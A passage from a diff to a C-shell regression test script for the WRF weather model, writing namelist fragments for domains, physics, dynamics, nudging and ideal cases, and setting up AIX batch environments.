+ use_adaptive_time_step              = $USE_ADAPTIVE_TIME_STEP
+ step_to_output_time                 = $STEP_TO_OUTPUT_TIME
+EOF
+else if ( $dataset == jun01 ) then
+cat >! dom_real << EOF
+ time_step                           = 60,
+ time_step_fract_num                 = 0,
+ time_step_fract_den                 = 1,
+ max_dom                             = 2,
+ s_we                                = 1,     1,     1,
+ e_we                                = 91,    31,    31,
+ s_sn                                = 1,     1,     1,
+ e_sn                                = 82,    31,    31,
+ s_vert                              = 1,     1,     1,
+ e_vert                              = 28,    28,    28,
+ dx                                  = 10000,  3333.333333,  1111.111111,
+ dy                                  = 10000,  3333.333333,  1111.111111,
+ grid_id                             = 1,     2,     3,
+ parent_id                           = 0,     1,     2,
+ i_parent_start                      = 0,     30,    11,
+ j_parent_start                      = 0,     20,    11,
+ parent_grid_ratio                   = 1,     3,     3,
+ parent_time_step_ratio              = 1,     3,     3,
+ feedback                            = 1,
+ smooth_option                       = 0
+ num_moves                           = 3
+ move_id                             = 2 , 2 , 2
+ move_interval                       = 1 , 2 , 3
+ move_cd_x                           = 1 , 1 , 1
+ move_cd_y                           = 1 , 1 , 1
+ use_adaptive_time_step              = $USE_ADAPTIVE_TIME_STEP
+ step_to_output_time                 = $STEP_TO_OUTPUT_TIME
+EOF
+endif
+cat >! dom_ideal << EOF
+ max_dom                             = 2,
+EOF
+else if ( $NESTED != TRUE ) then
+if      ( $dataset == jan00 ) then
+cat >! dom_real << EOF
+ time_step                           = 180,
+ time_step_fract_num                 = 0,
+ time_step_fract_den                 = 1,
+ max_dom                             = 1,
+ s_we                                = 1,     1,     1,
+ e_we                                = 74,    31,    31,
+ s_sn                                = 1,     1,     1,
+ e_sn                                = 61,    31,    31,
+ s_vert                              = 1,     1,     1,
+ e_vert                              = 28,    28,    28,
+ dx                                  = 30000, 10000,  3333,
+ dy                                  = 30000, 10000,  3333,
+ grid_id                             = 1,     2,     3,
+ parent_id                           = 0,     1,     2,
+ i_parent_start                      = 0,     31,    30,
+ j_parent_start                      = 0,     17,    30,
+ parent_grid_ratio                   = 1,     3,     3,
+ parent_time_step_ratio              = 1,     3,     3,
+ feedback                            = 1,
+ smooth_option                       = 0
+ use_adaptive_time_step              = $USE_ADAPTIVE_TIME_STEP
+ step_to_output_time                 = $STEP_TO_OUTPUT_TIME
+EOF
+else if ( $dataset == jun01 ) then
+cat >! dom_real << EOF
+ time_step                           = 60,
+ time_step_fract_num                 = 0,
+ time_step_fract_den                 = 1,
+ max_dom                             = 1,
+ s_we                                = 1,     1,     1,
+ e_we                                = 91,    31,    31,
+ s_sn                                = 1,     1,     1,
+ e_sn                                = 82,    31,    31,
+ s_vert                              = 1,     1,     1,
+ e_vert                              = 28,    28,    28,
+ dx                                  = 10000,  3333.333333,  1111.111111,
+ dy                                  = 10000,  3333.333333,  1111.111111,
+ grid_id                             = 1,     2,     3,
+ parent_id                           = 0,     1,     2,
+ i_parent_start                      = 0,     30,    11,
+ j_parent_start                      = 0,     20,    11,
+ parent_grid_ratio                   = 1,     3,     3,
+ parent_time_step_ratio              = 1,     3,     3,
+ feedback                            = 1,
+ smooth_option                       = 0
+ use_adaptive_time_step              = $USE_ADAPTIVE_TIME_STEP
+ step_to_output_time                 = $STEP_TO_OUTPUT_TIME
+EOF
+else if ( $dataset == global ) then
+cat >! dom_real << EOF
+ time_step                           = 600
+ time_step_fract_num                 = 00
+ time_step_fract_den                 = 112
+ max_dom                             = 1,
+ s_we                                = 1,     1,     1,
+ e_we                                = 65,     41,    41,
+ s_sn                                = 1,     1,     1,
+ e_sn                                = 33,     81,    81,
+ s_vert                              = 1,     1,     1,
+ e_vert                              = 41,    41,    41,
+ num_metgrid_levels                  = 27
+ dx                                  = 625373.288,20000, 4000,
+ dy                                  = 625373.288,20000, 4000,
+ p_top_requested                     = 5000
+ grid_id                             = 1,     2,     3,
+ parent_id                           = 0,     1,     2,
+ i_parent_start                      = 0,     17,    17,
+ j_parent_start                      = 0,     33,    33,
+ parent_grid_ratio                   = 1,     5,     5,
+ parent_time_step_ratio              = 1,     5,     5,
+ feedback                            = 1,
+ smooth_option                       = 00
+EOF
+endif
+cat >! dom_ideal << EOF
+ max_dom                             = 1,
+EOF
+endif
+
+#	The em_real entire physics namelist.  Change what you want.
+
+cat >! phys_real_1  << EOF
+ mp_physics                          = 3,     3,     3,
+ ra_lw_physics                       = 1,     1,     1,
+ ra_sw_physics                       = 1,     1,     1,
+ radt                                = 30,    30,    30,
+ sf_sfclay_physics                   = 1,     1,     1,
+ sf_surface_physics                  = 1,     1,     1,
+ bl_pbl_physics                      = 1,     1,     1,
+ bldt                                = 0,     0,     0,
+ cu_physics                          = 1,     1,     0,
+ cudt                                = 5,     5,     5,
+ isfflx                              = 1,
+ ifsnow                              = 0,
+ icloud                              = 1,
+ surface_input_source                = 1,
+ num_soil_layers                     = 5,
+ mp_zero_out                         = 0,
+ maxiens                             = 1,
+ maxens                              = 3,
+ maxens2                             = 3,
+ maxens3                             = 16,
+ ensdim                              = 144,
+EOF
+
+cat >! dyn_real_SAFE  << EOF
+ moist_adv_opt                       = 0,      0,      0,     
+ scalar_adv_opt                      = 0,      0,      0,     
+ chem_adv_opt                        = 0,      0,      0,     
+ tke_adv_opt                         = 0,      0,      0,     
+EOF
+
+cat >! dyn_real_1  << EOF
+ moist_adv_opt                       = 1,      1,      1,      
+ scalar_adv_opt                      = 0,      0,      0,     
+ chem_adv_opt                        = 0,      0,      0,     
+ tke_adv_opt                         = 0,      0,      0,     
+EOF
+
+cat >! time_real_1  << EOF
+ auxinput1_inname                    = "met_em.d<domain>.<date>"
+EOF
+
+cat >! nest_real_1  << EOF
+ input_from_file                     = .true.,.false.,.false.
+EOF
+
+cat >! damp_real_1  << EOF
+ damp_opt                            = 0,
+ zdamp                               = 5000.,  5000.,  5000.,
+ dampcoef                            = 0.01,   0.01,   0.01
+EOF
+
+cat >! phys_real_2 << EOF
+ mp_physics                          = 4,     4,     4,
+ ra_lw_physics                       = 1,     1,     1,
+ ra_sw_physics                       = 1,     1,     1,
+ radt                                = 30,    30,    30,
+ sf_sfclay_physics                   = 2,     2,     2,
+ sf_surface_physics                  = 2,     2,     2,
+ bl_pbl_physics                      = 2,     2,     2,
+ bldt                                = 0,     0,     0,
+ cu_physics                          = 2,     2,     0,
+ cudt                                = 5,     5,     5,
+ slope_rad                           = 1,     1,     1,
+ topo_shading                        = 0,     0,     0,
+ isfflx                              = 1,
+ ifsnow                              = 0,
+ icloud                              = 1,
+ surface_input_source                = 1,
+ num_soil_layers                     = 4,
+ mp_zero_out                         = 0,
+ maxiens                             = 1,
+ maxens                              = 3,
+ maxens2                             = 3,
+ maxens3                             = 16,
+ ensdim                              = 144,
+EOF
+
+cat >! dyn_real_2  << EOF
+ moist_adv_opt                       = 1,      1,      1,      
+ scalar_adv_opt                      = 0,      0,      0,     
+ chem_adv_opt                        = 0,      0,      0,     
+ tke_adv_opt                         = 0,      0,      0,     
+EOF
+
+if ( $GLOBAL == TRUE ) then
+	cp dyn_real_SAFE dyn_real_2
+endif
+
+cat >! time_real_2  << EOF
+ auxinput1_inname                    = "met_em.d<domain>.<date>"
+EOF
+
+cat >! nest_real_2  << EOF
+ input_from_file                     = .true.,.false.,.false.
+EOF
+
+cat >! damp_real_2  << EOF
+ damp_opt                            = 0,
+ zdamp                               = 5000.,  5000.,  5000.,
+ dampcoef                            = 0.01,   0.01,   0.01
+EOF
+
+cat >! phys_real_3 << EOF
+ mp_physics                          = 5,     5,     5,
+ ra_lw_physics                       = 1,     1,     1,
+ ra_sw_physics                       = 2,     2,     2,
+ radt                                = 30,    30,    30,
+ sf_sfclay_physics                   = 2,     2,     2,
+ sf_surface_physics                  = 3,     3,     3,
+ bl_pbl_physics                      = 2,     2,     2,
+ bldt                                = 0,     0,     0,
+ cu_physics                          = 3,     3,     0,
+ cudt                                = 5,     5,     5,
+ omlcall                             = 1,
+ oml_hml0                            = 50,
+ oml_gamma                           = 0.14
+ isfflx                              = 1,
+ ifsnow                              = 0,
+ icloud                              = 1,
+ surface_input_source                = 1,
+ num_soil_layers                     = 6,
+ mp_zero_out                         = 0,
+ maxiens                             = 1,
+ maxens                              = 3,
+ maxens2                             = 3,
+ maxens3                             = 16,
+ ensdim                              = 144,
+EOF
+
+cat >! dyn_real_3  << EOF
+ moist_adv_opt                       = 2,      2,      2,     
+ scalar_adv_opt                      = 0,      0,      0,     
+ chem_adv_opt                        = 0,      0,      0,     
+ tke_adv_opt                         = 0,      0,      0,     
+EOF
+
+cat >! time_real_3  << EOF
+ auxinput1_inname                    = "met_em.d<domain>.<date>"
+EOF
+
+cat >! nest_real_3  << EOF
+ input_from_file                     = .true.,.false.,.false.
+EOF
+
+cat >! damp_real_3  << EOF
+ damp_opt                            = 1,
+ zdamp                               = 5000.,  5000.,  5000.,
+ dampcoef                            = 0.01,   0.01,   0.01
+EOF
+
+cat >! phys_real_4 << EOF
+ mp_physics                          = 6,     6,     6,
+ ra_lw_physics                       = 1,     1,     1,
+ ra_sw_physics                       = 2,     2,     2,
+ radt                                = 30,    30,    30,
+ sf_sfclay_physics                   = 2,     2,     2,
+ sf_surface_physics                  = 2,     2,     2,
+ bl_pbl_physics                      = 2,     2,     2,
+ bldt                                = 0,     0,     0,
+ cu_physics                          = 5,     5,     0,
+ cudt                                = 5,     5,     5,
+ isfflx                              = 1,
+ ifsnow                              = 0,
+ icloud                              = 1,
+ sf_urban_physics                    = 1,     1,     1,
+ surface_input_source                = 1,
+ num_soil_layers                     = 4,
+ mp_zero_out                         = 0,
+ maxiens                             = 1,
+ maxens                              = 3,
+ maxens2                             = 3,
+ maxens3                             = 16,
+ ensdim                              = 144,
+EOF
+
+cat >! dyn_real_4  << EOF
+ moist_adv_opt                       = 2,      2,      2,     
+ scalar_adv_opt                      = 0,      0,      0,     
+ chem_adv_opt                        = 0,      0,      0,     
+ tke_adv_opt                         = 0,      0,      0,     
+EOF
+
+cat >! time_real_4  << EOF
+ auxinput1_inname                    = "met_em.d<domain>.<date>"
+EOF
+
+cat >! nest_real_4  << EOF
+ input_from_file                     = .true.,.false.,.false.
+EOF
+
+cat >! damp_real_4  << EOF
+ damp_opt                            = 1,
+ zdamp                               = 5000.,  5000.,  5000.,
+ dampcoef                            = 0.01,   0.01,   0.01
+EOF
+
+cat >! phys_real_5 << EOF
+ mp_physics                          = 10,    10,    10,
+ ra_lw_physics                       = 1,     1,     1,
+ ra_sw_physics                       = 1,     1,     1,
+ radt                                = 30,    30,    30,
+ sf_sfclay_physics                   = 7,     7,     7,
+ sf_surface_physics                  = 1,     1,     1,
+ bl_pbl_physics                      = 7,     7,     7,
+ bldt                                = 0,     0,     0,
+ cu_physics                          = 99,    99,    0,
+ cudt                                = 0,     0,     0,
+ slope_rad                           = 1,     1,     1, 
+ topo_shading                        = 0,     0,     0, 
+ isfflx                              = 1,
+ ifsnow                              = 0,
+ icloud                              = 1,
+ sf_urban_physics                    = 1,     1,     1,
+ surface_input_source                = 1,
+ num_soil_layers                     = 5,
+ mp_zero_out                         = 0,
+ maxiens                             = 1,
+ maxens                              = 3,
+ maxens2                             = 3,
+ maxens3                             = 16,
+ ensdim                              = 144,
+ levsiz                              = 59
+ paerlev                             = 29
+ cam_abs_freq_s                      = 21600
+ cam_abs_dim1                        = 4
+ cam_abs_dim2                        = 28
+EOF
+
+cat >! dyn_real_5  << EOF
+ moist_adv_opt                       = 2,      2,      2,     
+ scalar_adv_opt                      = 0,      0,      0,     
+ chem_adv_opt                        = 0,      0,      0,     
+ tke_adv_opt                         = 0,      0,      0,     
+EOF
+
+cat >! time_real_5  << EOF
+ auxinput1_inname                    = "met_em.d<domain>.<date>"
+EOF
+
+cat >! nest_real_5  << EOF
+ input_from_file                     = .true.,.false.,.false.
+EOF
+
+cat >! damp_real_5  << EOF
+ damp_opt                            = 3,
+ zdamp                               = 5000.,  5000.,  5000.,
+ dampcoef                            = 0.05,   0.05,   0.05
+EOF
+
+cat >! phys_real_6 << EOF
+ mp_physics                          = 7,     7,     7,
+ ra_lw_physics                       = 1,     1,     1,
+ ra_sw_physics                       = 2,     2,     2,
+ radt                                = 30,    30,    30,
+ sf_sfclay_physics                   = 7,     7,     7,
+ sf_surface_physics                  = 1,     1,     1,
+ bl_pbl_physics                      = 7,     7,     7,
+ bldt                                = 0,     0,     0,
+ cu_physics                          = 1,     1,     0,
+ cudt                                = 0,     0,     0,
+ omlcall                             = 1,
+ oml_hml0                            = 50,
+ oml_gamma                           = 0.14
+ isfflx                              = 1,
+ ifsnow                              = 0,
+ icloud                              = 1,
+ sf_urban_physics                    = 1,     1,     1,
+ surface_input_source                = 1,
+ num_soil_layers                     = 5,
+ mp_zero_out                         = 0,
+ maxiens                             = 1,
+ maxens                              = 3,
+ maxens2                             = 3,
+ maxens3                             = 16,
+ ensdim                              = 144,
+ levsiz                              = 59
+ paerlev                             = 29
+ cam_abs_freq_s                      = 21600
+ cam_abs_dim1                        = 4
+ cam_abs_dim2                        = 28
+EOF
+
+cat >! dyn_real_6  << EOF
+ moist_adv_opt                       = 0,      0,      0,     
+ scalar_adv_opt                      = 0,      0,      0,     
+ chem_adv_opt                        = 0,      0,      0,     
+ tke_adv_opt                         = 0,      0,      0,     
+EOF
+
+cat >! time_real_6  << EOF
+ auxinput1_inname                    = "met_em.d<domain>.<date>"
+EOF
+
+cat >! nest_real_6  << EOF
+ input_from_file                     = .true.,.false.,.false.
+EOF
+
+cat >! damp_real_6  << EOF
+ damp_opt                            = 3,
+ zdamp                               = 5000.,  5000.,  5000.,
+ dampcoef                            = 0.05,   0.05,   0.05
+EOF
+
+cat >! phys_real_7 << EOF
+ mp_physics                          = 8,     8,     8,
+ ra_lw_physics                       = 3,     3,     3,
+ ra_sw_physics                       = 3,     3,     3,
+ radt                                = 30,    30,    30,
+ sf_sfclay_physics                   = 2,     2,     2,
+ sf_surface_physics                  = 2,     2,     2,
+ bl_pbl_physics                      = 2,     2,     2,
+ bldt                                = 0,     0,     0,
+ cu_physics                          = 99,    99,    0,
+ cudt                                = 5,     5,     5,
+ isfflx                              = 1,
+ ifsnow                              = 0,
+ icloud                              = 1,
+ sf_urban_physics                    = 1,     1,     1,
+ surface_input_source                = 1,
+ num_soil_layers                     = 4,
+ mp_zero_out                         = 0,
+ maxiens                             = 1,
+ maxens                              = 3,
+ maxens2                             = 3,
+ maxens3                             = 16,
+ ensdim                              = 144,
+ levsiz                              = 59
+ paerlev                             = 29
+ cam_abs_freq_s                      = 21600
+ cam_abs_dim1                        = 4
+ cam_abs_dim2                        = 28
+EOF
+
+cat >! dyn_real_7  << EOF
+ moist_adv_opt                       = 0,      0,      0,     
+ scalar_adv_opt                      = 0,      0,      0,     
+ chem_adv_opt                        = 0,      0,      0,     
+ tke_adv_opt                         = 0,      0,      0,     
+EOF
+
+cat >! time_real_7  << EOF
+ auxinput1_inname                    = "met_em.d<domain>.<date>"
+EOF
+
+cat >! nest_real_7  << EOF
+ input_from_file                     = .true.,.false.,.false.
+EOF
+
+cat >! damp_real_7  << EOF
+ damp_opt                            = 3,
+ zdamp                               = 5000.,  5000.,  5000.,
+ dampcoef                            = 0.05,   0.05,   0.05
+EOF
+
+if ( $GLOBAL == TRUE ) then
+	sed -e 's/ cam_abs_dim2 *= [0-9][0-9]/ cam_abs_dim2 = 41/g' phys_real_5 >! phys_foo
+	mv phys_foo phys_real_7
+	cp dyn_real_SAFE dyn_real_1
+	cp dyn_real_SAFE dyn_real_2
+	cp dyn_real_SAFE dyn_real_3
+	cp dyn_real_SAFE dyn_real_4
+	cp dyn_real_SAFE dyn_real_5
+	cp dyn_real_SAFE dyn_real_6
+	cp dyn_real_SAFE dyn_real_7
+endif
+
+cat >! fdda_real_1 << EOF
+ grid_fdda                           = 1,     1,     1,
+ gfdda_inname                        = "wrffdda_d<domain>",
+ gfdda_end_h                         = 24,    24,    24,
+ gfdda_interval_m                    = 360,   360,   360,
+ fgdt                                = 0,     0,     0,
+ if_no_pbl_nudging_uv                = 0,     0,     1,
+ if_no_pbl_nudging_t                 = 0,     0,     1,
+ if_no_pbl_nudging_q                 = 0,     0,     1,
+ if_zfac_uv                          = 0,     0,     1,
+  k_zfac_uv                          = 10,   10,     1,
+ if_zfac_t                           = 0,     0,     1,
+  k_zfac_t                           = 10,   10,     1,
+ if_zfac_q                           = 0,     0,     1,
+  k_zfac_q                           = 10,   10,     1,
+ guv                                 = 0.0003,     0.0003,     0.0003,
+ gt                                  = 0.0003,     0.0003,     0.0003,
+ gq                                  = 0.0003,     0.0003,     0.0003,
+ if_ramping                          = 1,
+ dtramp_min                          = 360.0,
+ io_form_gfdda                       = 2,
+EOF
+
+cat >! fdda_real_time_1 << EOF
+EOF
+
+cat >! fdda_real_2 << EOF
+ obs_nudge_opt                       = 1,1,1,1,1
+ max_obs                             = 150000,
+ obs_nudge_wind                      = 1,1,1,1,1
+ obs_coef_wind                       = 6.E-4,6.E-4,6.E-4,6.E-4,6.E-4
+ obs_nudge_temp                      = 1,1,1,1,1
+ obs_coef_temp                       = 6.E-4,6.E-4,6.E-4,6.E-4,6.E-4
+ obs_nudge_mois                      = 1,1,1,1,1
+ obs_coef_mois                       = 6.E-4,6.E-4,6.E-4,6.E-4,6.E-4
+ obs_rinxy                           = 240.,240.,180.,180,180
+ obs_rinsig                          = 0.1,
+ obs_twindo                          = 40.
+ obs_npfi                            = 10,
+ obs_ionf                            = 2,
+ obs_idynin                          = 0,
+ obs_dtramp                          = 40.,
+ obs_ipf_errob                       = .true.
+ obs_ipf_nudob                       = .true.
+ obs_ipf_in4dob                      = .true.
+EOF
+
+cat >! fdda_real_time_2 << EOF
+ auxinput11_interval_s               = 180
+ auxinput11_end_h                    = 6
+EOF
+
+cat >! fdda_real_3 << EOF
+ grid_fdda                           = 1,     1,     1,
+ gfdda_inname                        = "wrffdda_d<domain>",
+ gfdda_end_h                         = 24,    24,    24,
+ gfdda_interval_m                    = 360,   360,   360,
+ fgdt                                = 0,     0,     0,
+ if_no_pbl_nudging_uv                = 0,     0,     1,
+ if_no_pbl_nudging_t                 = 0,     0,     1,
+ if_no_pbl_nudging_q                 = 0,     0,     1,
+ if_zfac_uv                          = 0,     0,     1,
+  k_zfac_uv                          = 10,   10,     1,
+ if_zfac_t                           = 0,     0,     1,
+  k_zfac_t                           = 10,   10,     1,
+ if_zfac_q                           = 0,     0,     1,
+  k_zfac_q                           = 10,   10,     1,
+ guv                                 = 0.0003,     0.0003,     0.0003,
+ gt                                  = 0.0003,     0.0003,     0.0003,
+ gq                                  = 0.0003,     0.0003,     0.0003,
+ if_ramping                          = 1,
+ dtramp_min                          = 360.0,
+ io_form_gfdda                       = 2,
+ obs_nudge_opt                       = 1,1,1,1,1
+ max_obs                             = 150000,
+ obs_nudge_wind                      = 1,1,1,1,1
+ obs_coef_wind                       = 6.E-4,6.E-4,6.E-4,6.E-4,6.E-4
+ obs_nudge_temp                      = 1,1,1,1,1
+ obs_coef_temp                       = 6.E-4,6.E-4,6.E-4,6.E-4,6.E-4
+ obs_nudge_mois                      = 1,1,1,1,1
+ obs_coef_mois                       = 6.E-4,6.E-4,6.E-4,6.E-4,6.E-4
+ obs_rinxy                           = 240.,240.,180.,180,180
+ obs_rinsig                          = 0.1,
+ obs_twindo                          = 40.
+ obs_npfi                            = 10,
+ obs_ionf                            = 2,
+ obs_idynin                          = 0,
+ obs_dtramp                          = 40.,
+ obs_ipf_errob                       = .true.
+ obs_ipf_nudob                       = .true.
+ obs_ipf_in4dob                      = .true.
+EOF
+
+cat >! fdda_real_time_3 << EOF
+ auxinput11_interval_s               = 180
+ auxinput11_end_h                    = 6
+EOF
+
+#	Tested options for ideal case em_b_wave.  Modifying these
+#	parameters is acceptable.  Adding to these requires changes
+#	to the ideal namelist build below.
+
+cat >! phys_b_wave_1a << EOF
+ diff_opt                            = 1,
+ km_opt                              = 1,
+ damp_opt                            = 0,
+EOF
+cat >! phys_b_wave_1b << EOF
+ mp_physics                          = 1,     1,     1,
+EOF
+cat >! phys_b_wave_1c << EOF
+ non_hydrostatic                     = .true., .true., .true.,
+EOF
+cat >! phys_b_wave_1d  << EOF
+ input_from_file                     = .true.,.false.,.false.
+EOF
+
+cat >! phys_b_wave_2a << EOF
+ diff_opt                            = 1,
+ km_opt                              = 1,
+ damp_opt                            = 0,
+EOF
+cat >! phys_b_wave_2b << EOF
+ mp_physics                          = 1,     1,     1,
+EOF
+cat >! phys_b_wave_2c << EOF
+ non_hydrostatic                     = .false., .false., .false.,
+EOF
+cat >! phys_b_wave_2d  << EOF
+ input_from_file                     = .true.,.false.,.false.
+EOF
+
+cat >! phys_b_wave_3a << EOF
+ diff_opt                            = 1,
+ km_opt                              = 1,
+ damp_opt                            = 0,
+EOF
+cat >! phys_b_wave_3b << EOF
+ mp_physics                          = 2,     2,     2,
+EOF
+cat >! phys_b_wave_3c << EOF
+ non_hydrostatic                     = .false., .false., .false.,
+EOF
+cat >! phys_b_wave_3d  << EOF
+ input_from_file                     = .true.,.false.,.false.
+EOF
+
+#	Tested options for ideal case em_quarter_ss.  Modifying these
+#	parameters is acceptable.  Adding to these requires changes
+#	to the ideal namelist build below.
+
+cat >! phys_quarter_ss_1a << EOF
+ diff_opt                            = 1,
+ km_opt                              = 1,
+ damp_opt                            = 0,
+EOF
+cat >! phys_quarter_ss_1b << EOF
+ mp_physics                          = 1,     1,     1,
+EOF
+cat >! phys_quarter_ss_1c << EOF
+ moist_adv_opt                       = 1,      1,      1,
+ scalar_adv_opt                      = 1,      1,      1,
+ chem_adv_opt                        = 1,      1,      1,
+ tke_adv_opt                         = 1,      1,      1,
+ non_hydrostatic                     = .true., .true., .true.,
+EOF
+cat >! phys_quarter_ss_1d  << EOF
+ input_from_file                     = .true.,.false.,.false.
+EOF
+cat >! phys_quarter_ss_1e << EOF
+ periodic_x                          = .false.,.false.,.false.,
+ open_xs                             = .true., .false.,.false.,
+ open_xe                             = .true., .false.,.false.,
+ periodic_y                          = .false.,.false.,.false.,
+ open_ys                             = .true., .false.,.false.,
+ open_ye                             = .true., .false.,.false.,
+EOF
+cat >! phys_quarter_ss_1f << EOF
+ sf_sfclay_physics                   = 0,     0,     0,
+EOF
+
+cat >! phys_quarter_ss_2a << EOF
+ diff_opt                            = 2,
+ km_opt                              = 2,
+ damp_opt                            = 1,
+EOF
+cat >! phys_quarter_ss_2b << EOF
+ mp_physics                          = 1,     1,     1,
+EOF
+cat >! phys_quarter_ss_2c << EOF
+ moist_adv_opt                       = 2,      2,      2,
+ scalar_adv_opt                      = 2,      2,      2,
+ chem_adv_opt                        = 2,      2,      2,
+ tke_adv_opt                         = 2,      2,      2,
+ non_hydrostatic                     = .true., .true., .true.,
+EOF
+cat >! phys_quarter_ss_2d  << EOF
+ input_from_file                     = .true.,.false.,.false.
+EOF
+cat >! phys_quarter_ss_2e << EOF
+ periodic_x                          = .false.,.false.,.false.,
+ open_xs                             = .true., .false.,.false.,
+ open_xe                             = .true., .false.,.false.,
+ periodic_y                          = .false.,.false.,.false.,
+ open_ys                             = .true., .false.,.false.,
+ open_ye                             = .true., .false.,.false.,
+EOF
+cat >! phys_quarter_ss_2f << EOF
+ sf_sfclay_physics                   = 1,     1,     1,
+EOF
+
+cat >! phys_quarter_ss_3a << EOF
+ diff_opt                            = 2,
+ km_opt                              = 3,
+ damp_opt                            = 1,
+EOF
+cat >! phys_quarter_ss_3b << EOF
+ mp_physics                          = 2,     2,     2,
+EOF
+cat >! phys_quarter_ss_3c << EOF
+ moist_adv_opt                       = 1,      1,      1,
+ scalar_adv_opt                      = 1,      1,      1,
+ chem_adv_opt                        = 1,      1,      1,
+ tke_adv_opt                         = 1,      1,      1,
+ non_hydrostatic                     = .false., .false., .false.,
+EOF
+cat >! phys_quarter_ss_3d  << EOF
+ input_from_file                     = .true.,.false.,.false.
+EOF
+cat >! phys_quarter_ss_3e << EOF
+ periodic_x                          = .true., .false.,.false.,
+ open_xs                             = .false.,.false.,.false.,
+ open_xe                             = .false.,.false.,.false.,
+ periodic_y                          = .true., .false.,.false.,
+ open_ys                             = .false.,.false.,.false.,
+ open_ye                             = .false.,.false.,.false.,
+EOF
+cat >! phys_quarter_ss_3f << EOF
+ sf_sfclay_physics                   = 1,     1,     1,
+EOF
+
+if      ( $IO_FORM_WHICH[$IO_FORM] == IO ) then
+cat >! io_format << EOF
+ io_form_history                     = $IO_FORM
+ io_form_restart                     = $IO_FORM
+ io_form_input                       = $IO_FORM
+ io_form_boundary                    = $IO_FORM
+EOF
+else if ( $IO_FORM_WHICH[$IO_FORM] == I  ) then
+cat >! io_format << EOF
+ io_form_history                     = 2
+ io_form_restart                     = 2
+ io_form_input                       = $IO_FORM
+ io_form_boundary                    = $IO_FORM
+EOF
+else if ( $IO_FORM_WHICH[$IO_FORM] ==  O ) then
+cat >! io_format << EOF
+ io_form_history                     = $IO_FORM
+ io_form_restart                     = 2
+ io_form_input                       = 2
+ io_form_boundary                    = 2
+EOF
+endif
+
+
+if ( $dataset == jun01 ) then
+	set filetag_real=2001-06-11_12:00:00
+else if ( $dataset == jan00 ) then
+	set filetag_real=2000-01-24_12:00:00
+else if ( $dataset == chem ) then
+	set filetag_real = ( 2006-04-06_00:00:00  2006-04-06_12:00:00 )
+else if ( $dataset == global ) then
+	set filetag_real=2008-01-02_12:00:00
+endif
+
+set filetag_ideal=0001-01-01_00:00:00
+#DAVE###################################################
+echo did phys, set date to $filetag_real
+banner 2
+#set ans = "$<"
+#DAVE###################################################
+
+#####################################################################
+
+#	Set up info for particular architectures
+
+set ARCH = ( `uname` )
+
+set ZAP_SERIAL          = FALSE
+set ZAP_OPENMP          = FALSE
+set SERIALRUNCOMMAND	= 
+set OMPRUNCOMMAND	= 
+set MPIRUNCOMMANDPOST   = 
+
+touch version_info
+if ( $ARCH[1] == AIX ) then
+	set DEF_DIR             = $home
+	set TMPDIR              = /ptmp/$user
+	# keep stuff out of $HOME and /ptmp/$USER
+	# this allows multiple regressions tests to run simultaneously
+	# extend this to other machines later
+	if      ( ( `hostname | cut -c 1-2` == bs ) && ( ! $?LOADL_JOB_NAME ) ) then
+		echo "${0}: ERROR::  This batch script must be submitted via"
+		echo "${0}:          LoadLeveler on an AIX machine\!"
+		exit
+	else if   ( `hostname | cut -c 1-2` == bs ) then
+		set job_id              = `echo ${LOADL_JOB_NAME} | cut -f2 -d'.'`
+		set DEF_DIR             = /ptmp/$user/wrf_regression.${job_id}
+		set TMPDIR              = $DEF_DIR
+		if ( -d $DEF_DIR ) then
+			echo "${0}: ERROR::  Directory ${DEF_DIR} exists, please remove it"
+			exit ( 1 ) 
+		else
+			mkdir -p $DEF_DIR
+			echo "See ${DEF_DIR}/wrftest.output and other files in ${DEF_DIR} for test results"
+		endif
+		set CUR_DIR = ${LOADL_STEP_INITDIR}
+	else if   ( ( `hostname | cut -c 1-2` == bv ) || ( `hostname | cut -c 1-2` == be ) ) then
+		set job_id              = $LSB_JOBID
+		set DEF_DIR             = /ptmp/$user/wrf_regression.${job_id}
+		set TMPDIR              = $DEF_DIR
+		if ( -d $DEF_DIR ) then
+			echo "${0}: ERROR::  Directory ${DEF_DIR} exists, please remove it"
+			exit ( 1 ) 
+		else
+			mkdir -p $DEF_DIR
+			echo "See ${DEF_DIR}/wrftest.output and other files in ${DEF_DIR} for test results"
+		endif
+	else if ( ( ( `hostname | cut -c 1-2` != be ) && ( `hostname | cut -c 1-2` != bv ) ) && ( ! $?LOADL_JOB_NAME ) ) then
+		echo "${0}: ERROR::  This batch script must be submitted via"
+		echo "${0}:          LoadLeveler on an AIX machine\!"
+		exit
+	else if   ( ( `hostname | cut -c 1-2` != be ) && ( `hostname | cut -c 1-2` != bv ) ) then
+		set job_id              = `echo ${LOADL_JOB_NAME} | cut -f2 -d'.'`
+		set DEF_DIR             = /ptmp/$user/wrf_regression.${job_id}
+		set TMPDIR              = $DEF_DIR
+		if ( -d $DEF_DIR ) then
+			echo "${0}: ERROR::  Directory ${DEF_DIR} exists, please remove it"
+			exit ( 1 ) 
+		else
+			mkdir -p $DEF_DIR
+			echo "See ${DEF_DIR}/wrftest.output and other files in ${DEF_DIR} for test results"
+		endif
+		set CUR_DIR = ${LOADL_STEP_INITDIR}
+	endif
+	if ( ! -d $TMPDIR ) mkdir $TMPDIR
+	set MAIL                = /usr/bin/mailx
+	set COMPOPTS    = ( 1 2 3 )
+	set COMPOPTS_NO_NEST = 0
+	set COMPOPTS_NEST_STATIC = 1
+	set COMPOPTS_NEST_PRESCRIBED = 2
+	set Num_Procs		= 4
+	set OPENMP 		= $Num_Procs
+        setenv MP_PROCS  $Num_Procs
+        setenv MP_RMPOOL 1
+	if      ( `hostname | cut -c 1-2` == bs ) then
+		set MPIRUNCOMMAND       =  poe 
+	else if ( `hostname | cut -c 1-2` == bv ) then
+		set MPIRUNCOMMAND       =  mpirun.lsf
+	else if ( `hostname | cut -c 1-2` == be ) then
+		set MPIRUNCOMMAND       =  /contrib/mpiruns/be/mpirun.lsf
+	else if ( ( `hostname | cut -c 1-2` != bs ) && \
+	          ( `hostname | cut -c 1-2` != bv ) && ( `hostname | cut -c 1-2` != be ) ) then
+		set MPIRUNCOMMAND       =  poe
+	endif
+	if ( $CHEM == TRUE ) then
+		set ZAP_OPENMP		= TRUE
+	else if ( $CHEM == FALSE ) then
+		set ZAP_OPENMP		= FALSE
+	endif
+# check compiler version, JM
+        lslpp -i | grep xlf | grep ' xlfcmp ' | head -1
+        set xlfvers=`lslpp -i | grep xlf | grep ' xlfcmp ' | head -1 | awk '{print $2}' | sed 's/\...*$//'`
+        if ( ( $xlfvers > 9 ) && ( $NESTED == TRUE ) ) then
+#		set ZAP_OPENMP		= TRUE
+        endif
+# end of compiler check, JM
